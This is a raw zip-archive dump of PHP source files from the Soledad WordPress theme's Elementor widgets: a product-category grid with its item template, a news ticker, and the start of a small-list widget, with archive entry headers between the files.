				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-biggrid .penci-bgitin' => 'background-color: {{VALUE}};',
				),
			)
		);

		$this->add_control(
			'bgitem_borders', array(
				'label'     => __( 'Borders Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-biggrid .penci-bgitin' => 'border: 1px solid {{VALUE}};',
				),
			)
		);

		$this->add_responsive_control(
			'bgitem_borderwidth', array(
				'label'      => __( 'Borders Width', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-biggrid .penci-bgitin' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_responsive_control(
			'bgitem_padding', array(
				'label'      => __( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-biggrid .penci-bgitin' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_control(
			'title_design',
			array(
				'label'     => esc_html__( 'Category Title', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'bgtitle_color', array(
				'label'     => __( 'Title Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pcbg-content-inner .pcbg-title a,{{WRAPPER}} .pcbg-content-inner .pcbg-title' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'bgtitle_color_hover', array(
				'label'     => __( 'Title Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pcbg-content-inner .pcbg-title a:hover' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'      => 'bgtitle_typo_big',
				'label'     => __( 'Title Typography for Big Items', 'soledad' ),
				'selector'  => '{{WRAPPER}} .pcbg-big-item .pcbg-content-inner .pcbg-title,{{WRAPPER}} .pcbg-big-item .pcbg-content-inner .pcbg-title a',
				'condition' => array( 'style!' => array( 'style-1', 'style-2' ) ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'bgtitle_typo',
				'label'    => __( 'Title Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .pcbg-content-inner .pcbg-title,{{WRAPPER}} .pcbg-content-inner .pcbg-title a',
			)
		);

		$this->add_control(
			'desc_design',
			array(
				'label'     => esc_html__( 'Category Count', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'bgdesc_color', array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .pcbg-content-inner .pcbg-sub-title' => 'color: {{VALUE}};',
				),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'title_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .pcbg-content-inner .pcbg-sub-title',
			)
		);

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();

	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	/**
	 * Render the widget output on the frontend.
	 *
	 * Written in PHP and used to generate the final HTML.
	 *
	 * @since 1.0.0
	 *
	 * @access protected
	 */
	protected function render() {

		$settings     = $this->get_settings();
		$biggid_style = $settings['style'] ? $settings['style'] : 'style-1';
		if ( isset( $_GET['bgstyle'] ) ) {
			$biggid_style = esc_attr( $_GET['bgstyle'] );
		}
		$overlay_type     = $settings['overlay_type'] ? $settings['overlay_type'] : 'whole';
		$bgcontent_pos    = $settings['bgcontent_pos'] ? $settings['bgcontent_pos'] : 'on';
		$content_display  = $settings['content_display'] ? $settings['content_display'] : 'block';
		$disable_lazy     = $settings['disable_lazy'] ? $settings['disable_lazy'] : '';
		$image_hover      = $settings['image_hover'] ? $settings['image_hover'] : 'zoom-in';
		$text_overlay     = $settings['text_overlay'] ? $settings['text_overlay'] : 'none';
		$text_overlay_ani = $settings['text_overlay_ani'] ? $settings['text_overlay_ani'] : 'movetop';
		$onecol_mobile    = $settings['onecol_mobile'] ? $settings['onecol_mobile'] : '';
		$sameh_mobile     = $settings['sameh_mobile'] ? $settings['sameh_mobile'] : '';
		$thumb_size       = $settings['thumb_size'] ? $settings['thumb_size'] : 'penci-masonry-thumb';
		$bthumb_size      = $settings['bthumb_size'] ? $settings['bthumb_size'] : 'penci-full-thumb';
		$mthumb_size      = $settings['mthumb_size'] ? $settings['mthumb_size'] : 'penci-masonry-thumb';

		$wrapper_class   = $data_class = '';
		$flag_style      = false;
		$clear_fix_class = 'penci-clearfix ';
		if ( in_array( $biggid_style, array( 'style-1' ) ) ) {
			$data_class .= ' penci-dflex';
		} else {
			$data_class .= ' penci-dblock';
		}

		if ( ! in_array( $biggid_style, array( 'style-1', 'style-2' ) ) ) {
			$flag_style    = true;
			$data_class    .= ' penci-fixh';
			$bgcontent_pos = 'on';
		}

		if ( 'style-1' == $biggid_style || 'style-2' == $biggid_style ) {
			$bg_columns        = $settings['bg_columns'] ? $settings['bg_columns'] : '3';
			$bg_columns_mobile = $settings['bg_columns_mobile'] ? $settings['bg_columns_mobile'] : '1';
			$wrapper_class     .= ' penci-grid-col-' . $bg_columns;
			$wrapper_class     .= ' penci-grid-mcol-' . $bg_columns_mobile;
		}

		$wrapper_class .= ' penci-bgrid-based-product-category' . ' penci-bgrid-' . $biggid_style . ' penci-bgrid-content-' . $bgcontent_pos . ' pencibg-imageh-' . $image_hover . ' pencibg-texth-' . $text_overlay . ' pencibg-textani-' . $text_overlay_ani;
		if ( $flag_style && 'yes' == $onecol_mobile ) {
			$wrapper_class .= ' penci-bgrid-monecol';
		}
		if ( $flag_style && 'yes' == $sameh_mobile ) {
			$wrapper_class .= ' penci-bgrid-msameh';
		}

		if ( 'yes' == $settings['title_anivisi'] ) {
			$wrapper_class .= ' pcbg-titles-visible';
		}

		if ( 'yes' == $settings['apply_spe_bg_title'] ) {
			$wrapper_class .= ' pcbg-mask-title';
		}

		if ( 'yes' == $settings['apply_spe_bg_meta'] ) {
			$wrapper_class .= ' pcbg-mask-meta';
		}

		if ( in_array( $text_overlay_ani, array( 'movetop', 'movebottom', 'moveleft', 'moveright' ) ) ) {
			$wrapper_class .= ' textop';
		} else {
			$wrapper_class .= ' notextop';
		}

		if ( 'yes' == $settings['hide_subtitle_mobile'] ) {
			$wrapper_class .= ' hide-msubtitle';
		}

		$big_items = penci_big_grid_is_big_items( $biggid_style );

		$product_cat_default_settings = [
			// Query.
			'product_cat_number'  => null,
			'product_cat_orderby' => '',
			'product_cat_order'   => 'ASC',
			'product_cat_ids'     => '',
		];

		$product_cat_settings = wp_parse_args( $this->get_settings_for_display(), $product_cat_default_settings );

		$tax_name = $product_cat_settings['taxonomy'];
		// Query.
		$product_cat_query_args = array(
			'taxonomy'   => $tax_name,
			'order'      => $product_cat_settings['product_cat_order'],
			'hide_empty' => 'yes' === $product_cat_settings['product_cat_hide_empty'],
			'include'    => $product_cat_settings[ $tax_name . '_ids' ],
			'exclude'    => $product_cat_settings[ $tax_name . '_ids_ex' ],
			'pad_counts' => true,
			'number'     => $product_cat_settings['product_cat_number'],
		);

		if ( $settings['product_cat_orderby'] ) {
			$product_cat_query_args['orderby'] = $settings['product_cat_orderby'];
		}

		$product_categories = get_terms( $product_cat_query_args );
		$bg                 = 1;
		$text_item          = $settings['text_item'];
		$text_items         = $settings['text_items'];
		?>
        <div class="penci-clearfix penci-biggrid-wrapper<?php echo $wrapper_class; ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
            <div class="penci-clearfix penci-biggrid penci-bg<?php echo $biggid_style; ?> penci-bgel">
                <div class="penci-biggrid-inner">
					<?php

					echo '<div class="penci-clearfix penci-biggrid-data' . $data_class . '">';

					$num_cat = count( $product_categories );

					foreach ( $product_categories as $category ) :
						$item_id     = ' elementor-repeater-item-' . $category->term_id;
						$desc        = $category->description;
						$surplus     = penci_big_grid_count_classes( $bg, $biggid_style, true );
						$thumbnail   = $thumb_size;
						$is_big_item = '';
						if ( ! empty( $big_items ) && in_array( $surplus, $big_items ) ) {
							$thumbnail   = $bthumb_size;
							$is_big_item = ' pcbg-big-item';
						}
						if ( penci_is_mobile() ) {
							$thumbnail = $mthumb_size;
						}

						$term_options = array(
							'sort' => isset( $settings['taxonomy_image'] ) && $settings['taxonomy_image'] ? $settings['taxonomy_image'] : 'latest',
							'key'  => isset( $settings['taxonomy_image_view_key'] ) && $settings['taxonomy_image_view_key'] ? $settings['taxonomy_image_view_key'] : '',
						);

						include dirname( __FILE__ ) . "/product-category.php";
						if ( $flag_style && $surplus == 0 && $bg < $num_cat ) {
							echo '</div><div class="penci-clearfix penci-biggrid-data' . $data_class . '">';
						}

						$bg ++;
					endforeach;

					echo '</div>';

					if ( $flag_style ) {
						echo '</div>';
					}
					?>
                </div>
            </div>
        </div>
		<?php
	}
}
PK     N\V(  (  P  inc/elementor/modules/penci-product-categories-grid/widgets/product-category.phpnu [        <?php
$title       = $category->name;
$catcount    = $category->count;
$count       = isset( $settings['hide_subtitle'] ) && 'yes' == $settings['hide_subtitle'] ? false : $catcount;
$title_link  = get_term_link( $category->term_id, $tax_name );
$image_id    = penci_subcategory_extract_img( $category );
$image_url   = wp_get_attachment_image_url( penci_get_taxonomies_image( $tax_name, $category->term_id, $term_options ), 'full' );
$image_ratio = penci_get_ratio_size_based_url( $image_url );
?>
<div class="penci-bgitem<?php if ( 'style-2' == $biggid_style ) {
	echo ' item-masonry';
}
echo $is_big_item . penci_big_grid_count_classes( $bg, $biggid_style ) . $item_id; ?>">
    <div class="penci-bgitin">
        <div class="penci-bgmain">
            <div class="pcbg-thumb">
                <div class="pcbg-thumbin">
                    <a class="pcbg-bgoverlay<?php if ( 'whole' == $overlay_type && 'on' != $bgcontent_pos ): echo ' active-overlay'; endif; ?>"
					   <?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php }; ?>
                       title="<?php echo wp_strip_all_tags( $title ); ?>"></a>

                    <div <?php echo penci_layout_bg( $image_url, ! $disable_lazy ); ?> class="<?php echo penci_layout_bg_class(! $dis_lazyload);?> penci-image-holder"<?php if ( 'style-2' == $biggid_style ) {
						echo ' style="padding-bottom: ' . $image_ratio . '%"';
					} ?>>
						<?php echo penci_layout_img( $image_url, $title, ! $disable_lazy ); ?>
                    </div>

                </div>
            </div>
            <div class="pcbg-content">
                <div class="pcbg-content-flex">
                    <a class="pcbg-bgoverlay<?php if ( 'whole' == $overlay_type && 'on' == $bgcontent_pos ): echo ' active-overlay'; endif; ?>"
					   <?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php }; ?>
                       title="<?php echo esc_attr( $title ); ?>"></a>
                    <div class="pcbg-content-inner<?php if ( 'inline-block' == $content_display ) {
						echo ' bgcontent-inline-block';
					} else {
						echo ' bgcontent-block';
					} ?>">
                        <a <?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php }; ?>
                           title="<?php echo esc_attr( $title ); ?>"
                           class="pcbg-bgoverlaytext<?php if ( 'text' == $overlay_type ): echo ' active-overlay'; endif; ?> item-hover"></a>

						<?php if ( $title ) : ?>
                            <div class="pcbg-heading item-hover">
                                <h3 class="pcbg-title">
                                    <a <?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php } ?>>
										<?php echo $title; ?>
                                    </a>
                                </h3>
                            </div>
						<?php endif; ?>

						<?php if ( $count ) : ?>
                            <div class="pcbg-below item-hover">
                                <div class="pcbg-sub-title">
                                    <span>
									<?php
									$text_item  = $text_item ? $text_item : '% item';
									$text_items = $text_items ? $text_items : '% items';
									echo ( 1 >= $count ) ? str_replace( '%', $count, $text_item ) : str_replace( '%', $count, $text_items );
									?>
                                        </span>
                                </div>
                            </div>
						<?php endif; ?>

						<?php if ( $desc ) { ?>
                            <div class="grid-post-box-meta pcbg-meta item-hover">
                                <div class="pcbg-meta-desc"><?php echo $desc; ?></div>
                            </div>
						<?php } ?>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>
PK     N\    2  inc/elementor/modules/penci-news-ticker/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciNewsTicker;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-news-ticker';
	}

	public function get_widgets() {
		return array( 'PenciNewsTicker' );
	}
}
PK     N\QD 4   4  E  inc/elementor/modules/penci-news-ticker/widgets/penci-news-ticker.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciNewsTicker\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Modules\QueryControl\Module;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciNewsTicker extends Base_Widget {

	public function get_name() {
		return 'penci-news-ticker';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' News Ticker', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-anchor';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_script_depends() {
		return [ 'penci-marquee' ];
	}

	public function get_keywords() {
		return array( 'facebook', 'social', 'embed', 'page' );
	}

	protected function register_controls() {


		$this->register_query_section_controls();
		$this->start_controls_section(
			'section_layout', array(
				'label' => esc_html__( 'Display', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'tpost_text', array(
				'label'   => __( 'Custom "Top Posts" Text', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => 'Top Posts',
			)
		);

		$this->add_control(
			'headline_style', array(
				'label'   => __( 'Style for "Top Posts" Text', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''                => 'Default Style',
					'nticker-style-2' => 'Style 2',
					'nticker-style-3' => 'Style 3',
					'nticker-style-4' => 'Style 4'
				)
			)
		);

		$this->add_control(
			'navs_buttons', array(
				'label'     => __( 'Display Next/Prev Icons as Buttons', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'selectors' => array(
					'{{WRAPPER}} .penci-trending-nav a'             => 'height: 24px; line-height: 24px; top: 4px; background: #313131; color: #fff; float: left;',
					'{{WRAPPER}} .penci-trending-nav a:first-child' => 'margin-right: 4px;',
				),
			)
		);

		$this->add_control(
			'move_navs', array(
				'label'     => __( 'Move Next/Prev Icons/Buttons To The Right Side', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'selectors' => array(
					'{{WRAPPER}} .penci-topbar-trending .penci-trending-nav'          => 'float: right;',
					'{{WRAPPER}} .headline-title'                                     => 'margin-right: 10px;',
					'{{WRAPPER}} .headline-title.nticker-style-2'                     => 'margin-right: 18px;',
					'{{WRAPPER}} .headline-title.nticker-style-4'                     => 'margin-right: 19px;',
					'body.rtl {{WRAPPER}} .penci-topbar-trending .penci-trending-nav' => 'float: left;',
					'body.rtl {{WRAPPER}} .headline-title'                            => 'margin-right: 0; margin-left: 10px;',
					'body.rtl {{WRAPPER}} .headline-title.nticker-style-2'            => 'margin-left: 18px; margin-right:0;',
					'body.rtl {{WRAPPER}} .headline-title.nticker-style-4'            => 'margin-left: 19px; margin-right:0;',
				),
			)
		);

		$this->add_control(
			'headline_upper', array(
				'label'     => __( 'Turn off Uppercase for "Top Posts" text', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'selectors' => array( '{{WRAPPER}} .headline-title' => 'text-transform: none;' ),
			)
		);

		$this->add_control(
			'title_length', array(
				'label'       => __( 'Custom Words Length for Post Titles', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'label_block' => true,
				'default'     => '',
			)
		);

		$this->add_control(
			'titles_upper', array(
				'label'     => __( 'Turn off Uppercase for Post Titles', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'selectors' => array( '{{WRAPPER}} a.penci-topbar-post-title' => 'text-transform: none;' ),
			)
		);

		$this->add_control(
			'autoplay', array(
				'label' => __( 'Disable Auto Play', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER
			)
		);

		$this->add_control(
			'autotime', array(
				'label'       => __( 'Autoplay Timeout', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'description' => __( '1000 = 1 second', 'soledad' ),
				'label_block' => true,
				'default'     => '3000',
			)
		);

		$this->add_control(
			'autospeed', array(
				'label'       => __( 'Autoplay Speed', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'description' => __( '1000 = 1 second', 'soledad' ),
				'label_block' => true,
				'default'     => '300'
			)
		);

		$this->add_control(
			'headline_anim', array(
				'label'   => __( 'Transition Animation', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''             => 'Slide In Up',
					'slideInRight' => 'Fade In Right',
					'fadeIn'       => 'Fade In',
					'marquee'      => 'Marquee',
				)
			)
		);

		$this->end_controls_section();

		$this->register_block_title_section_controls();

		// Design
		$this->start_controls_section(
			'section_design_general',
			array(
				'label' => __( 'News Ticker', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'border_color',
			array(
				'label'     => __( 'Set Borders Around The News Ticker', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .penci-enews-ticker.penci-topbar-trending' => 'border: 1px solid {{VALUE}};',
				),
			)
		);

		$this->add_control(
			'bg_color',
			array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-topbar-trending'                => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-owl-carousel .owl-item'         => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .headline-title.nticker-style-3:after' => 'border-color: {{VALUE}};'
				),
			)
		);

		$this->add_control(
			'heading_tpostsec',
			array(
				'label'     => __( '"Top Posts" Section', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'headline_typo',
				'selector' => '{{WRAPPER}} .headline-title',
			)
		);

		$this->add_control(
			'tpost_bg',
			array(
				'label'     => __( '"Top Posts" Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'body:not(.pcdm-enable) {{WRAPPER}} .headline-title'                       => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .headline-title.nticker-style-2:after' => 'border-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .headline-title.nticker-style-4:after' => 'border-color: {{VALUE}};'
				),
			)
		);

		$this->add_control(
			'tpost_color',
			array(
				'label'     => __( '"Top Posts" Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .headline-title' => 'color: {{VALUE}};'
				),
			)
		);

		$this->add_responsive_control(
			'navs_size', array(
				'label'     => __( 'Font size for Next/Prev Icons', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-trending-nav a' => 'font-size: {{SIZE}}px' ),
			)
		);

		$this->add_control(
			'navs_color',
			array(
				'label'     => __( 'Next/Prev Icons Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .penci-trending-nav a' => 'color: {{VALUE}};'
				),
			)
		);

		$this->add_control(
			'navs_hcolor',
			array(
				'label'     => __( 'Next/Prev Icons Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .penci-trending-nav a:hover' => 'color: {{VALUE}};'
				),
			)
		);

		$this->add_control(
			'navs_bg',
			array(
				'label'     => __( 'Next/Prev Buttons Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => array( 'navs_buttons' => 'yes' ),
				'selectors' => array(
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-trending-nav a' => 'background-color: {{VALUE}};'
				),
			)
		);

		$this->add_control(
			'navs_hbg',
			array(
				'label'     => __( 'Next/Prev Buttons Hover Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => array( 'navs_buttons' => 'yes' ),
				'selectors' => array(
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-trending-nav a:hover' => 'background-color: {{VALUE}};'
				),
			)
		);

		$this->add_control(
			'heading_tposttitle',
			array(
				'label'     => __( 'Post Titles', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'ptitle_typo',
				'selector' => '{{WRAPPER}} a.penci-topbar-post-title',
			)
		);

		$this->add_control(
			'ptitle_color',
			array(
				'label'     => __( 'Post Title Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} a.penci-topbar-post-title' => 'color: {{VALUE}};'
				),
			)
		);

		$this->add_control(
			'ptitle_hcolor',
			array(
				'label'     => __( 'Post Title Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} a.penci-topbar-post-title:hover' => 'color: {{VALUE}};'
				),
			)
		);

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();

		$query_args = Module::get_query_args( 'posts', $settings );

		$toptext = isset( $settings['tpost_text'] ) ? $settings['tpost_text'] : 'Top Posts';
		$rand    = rand( 100, 5000 );
		?>
		<?php $this->markup_block_title( $settings, $this ); ?>
        <div class="penci-enews-ticker penci-topbar-trending penci-enews-ticker-<?php echo $rand; ?>">

			<?php if ( $toptext ) {
				$toptext_style = $settings['headline_style'] ? $settings['headline_style'] : 'nticker-style-1';
				?>
                <span class="headline-title <?php echo $toptext_style; ?>"><?php echo $toptext; ?></span>
			<?php }

			$news             = new \WP_Query( $query_args );
			if ( $news->have_posts() ):
				$auto_play = $settings['autoplay'] ? $settings['autoplay'] : 'true';
				$auto_time    = $settings['autotime'] ? $settings['autotime'] : '3000';
				$auto_speed   = $settings['autospeed'] ? $settings['autospeed'] : '300';
				$title_length = $settings['title_length'] ? $settings['title_length'] : 8;
				$animation    = $settings['headline_anim'] ? $settings['headline_anim'] : 'slideInUp';
				$navs_buttons = isset( $settings['navs_buttons'] ) ? $settings['navs_buttons'] : false;
				$main_class   = $animation == 'marquee' ? 'no-df pcmarquee-slider' : 'pcdfswiper';
				if ( $animation != 'marquee' ) :
					?>
                    <span class="penci-trending-nav<?php if ( $navs_buttons ): echo ' penci-navs-buttons'; endif; ?>">
					<a class="penci-slider-prev" href="#"
                       aria-label="Previous"><?php penci_fawesome_icon( 'fas fa-angle-left' ); ?></a>
					<a class="penci-slider-next" href="#"
                       aria-label="Next"><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?></a>
				</span>
				<?php endif; ?>
                <div class="<?php echo $main_class; ?> penci-owl-carousel swiper penci-owl-carousel-slider penci-headline-posts"
                     data-auto="<?php echo $auto_play; ?>" data-nav="false" data-autotime="<?php echo $auto_time; ?>"
                     data-speed="<?php echo $auto_speed; ?>" data-anim="<?php echo $animation; ?>">
                    <div class="swiper-wrapper">
						<?php while ( $news->have_posts() ): $news->the_post(); ?>
                            <div class="swiper-slide">
                                <a class="penci-topbar-post-title"
                                   href="<?php the_permalink(); ?>"><?php echo sanitize_text_field( wp_trim_words( get_the_title(), $title_length, '...' ) ); ?></a>
                            </div>
						<?php endwhile;
						wp_reset_postdata(); ?>
                    </div>
                </div>
			<?php endif; /* End check if no posts */ ?>
        </div>
		<?php
		if ( isset( $auto_speed ) && $auto_speed && '300' != $auto_speed ) {
			$auto_speed_num = (int) $auto_speed / 1000;
			echo '<style>.penci-topbar-trending.penci-enews-ticker-' . $rand . ' .animated.slideOutUp, .penci-topbar-trending.penci-enews-ticker-' . $rand . ' .animated.slideInUp, .penci-topbar-trending.penci-enews-ticker-' . $rand . ' .animated.TickerslideOutRight, .penci-topbar-trending.penci-enews-ticker-' . $rand . ' .animated.TickerslideInRight, .penci-topbar-trending.penci-enews-ticker-' . $rand . ' .animated.fadeOut, .penci-topbar-trending.penci-enews-ticker-' . $rand . ' .animated.fadeIn{ -webkit-animation-duration : ' . $auto_speed_num . 's; animation-duration : ' . $auto_speed_num . 's; }</style>';
		}
	}
}
PK     N\Apa  a  1  inc/elementor/modules/penci-small-list/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciSmallList;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-small-list';
	}

	public function get_widgets() {
		return array( 'PenciSmallList' );
	}
}
PK     N\U# U# C  inc/elementor/modules/penci-small-list/widgets/penci-small-list.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciSmallList\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Color;
use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Modules\QueryControl\Module as Query_Control;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciSmallList extends Base_Widget {

	public function get_name() {
		return 'penci-small-list';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Small List', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-gallery-grid';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'list', 'post', 'small', 'slider', 'carousel' );
	}

	public function get_script_depends() {
		return [ 'penci_ajax_filter_slist' ];
	}

	protected function register_controls() {


		// Section general
		$this->start_controls_section( 'section_type', array(
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'type', array(
			'label'   => __( 'Type:', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'options' => array(
				'grid'  => 'Grid',
				'crs'   => 'Carousel',
				'nlist' => 'Creative List',
			),
			'default' => 'grid',
		) );

		$this->add_control( 'column', array(
			'label'     => __( 'Columns', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'options'   => array(
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
				'5' => '5',
				'6' => '6',
			),
			'default'   => '3',
			'condition' => array( 'type!' => array( 'nlist' ) ),
		) );

		$this->add_control( 'tab_column', array(
			'label'     => __( 'Columns on Tablet', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'options'   => array(
				''  => 'Default',
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
			),
			'default'   => '',
			'condition' => array( 'type!' => array( 'nlist' ) ),
		) );

		$this->add_control( 'mb_column', array(
			'label'     => __( 'Columns on Mobile', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'options'   => array(
				''  => 'Default',
				'1' => '1',
				'2' => '2',
				'3' => '3',
			),
			'default'   => '',
			'condition' => array( 'type!' => array( 'nlist' ) ),
		) );

		$this->add_responsive_control( 'hgap', array(
			'label'     => __( 'Horizontal Space Between Posts', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-smalllist' => '--pcsl-hgap: {{SIZE}}px;',
			),
			'condition' => array( 'type!' => array( 'nlist' ) ),
		) );

		$this->add_responsive_control( 'vgap', array(
			'label'     => __( 'Vertical Space Between Posts', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-smalllist' => '--pcsl-bgap: {{SIZE}}px;',
			),
